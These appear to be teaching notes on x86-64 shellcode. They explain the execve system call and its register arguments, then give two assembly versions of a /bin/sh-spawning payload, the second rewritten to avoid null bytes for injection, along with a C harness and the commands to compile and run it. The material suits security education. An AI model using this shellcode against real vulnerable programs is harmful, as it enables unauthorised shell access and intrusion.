Attacker’s goal:
Injecting code:
System calls:
execve
, such as: char argv[] = { "/bin/sh", NULL }; execve("/bin/sh", argv, NULL)
%rdi
(progname
)%rsi
(argv
)%rdx
(envp
)%rax
(execve
)Shellcode version 1:
.data
.globl shellcode
shellcode: ; PROBLEMS:
leaq string_addr(%rip), %rdi ; offset 0x22 -> 0x00000022. has null bytes
movb $0, 0x07(%rdi) ; explicit NULL
movq %rdi, 0x08(%rdi)
movq $0, 0x10(%rdi) ; explicit NULL
leaq 0x08(%rdi), %rsi
movq $0, %rdx
movl $0x3b, %eax ; long 0x3b -> 0x0000003b. has null bytes.
syscall
string_addr:
.ascii "/bin/shNAAAAAAAABBBBBBBB"
.byte 0
Shellcode v2:
.data
.globl shellcode
shellcode:
jmp over_string
string_addr:
.ascii "/bin/shNAAAAAAAABBBBBBBB"
over_string:
leaq string_addr(%rip), %rdi ; offset is negative, so no nulls (0xffffffe1)
xorl %eax, %eax ; zero %rax to avoid explicit 0
movb %al, 0x07(%rdi)
movq %rdi, 0x08(%rdi)
movq %rax, 0x10(%rdi) ; use %rax, avoiding explicit 0
leaq 0x08(%rdi), %rsi
movq %rax, %rdx ; use %rax, avoiding explicit 0
movb $0x3b, %al ; byte reg, upper bytes all zero
syscall
.byte 0
Run with:
#include <stdio.h>
int main(int argc, char **argv) {
extern char shellcode;
void (*f)(void) = (void (*)(void)) &shellcode;
f();
fprintf(stderr, "this shouldn't print");
return -1;
}
Compile and run:
cc -o shellcode-test shellcode-test.c shellcode.s
./shellcode-test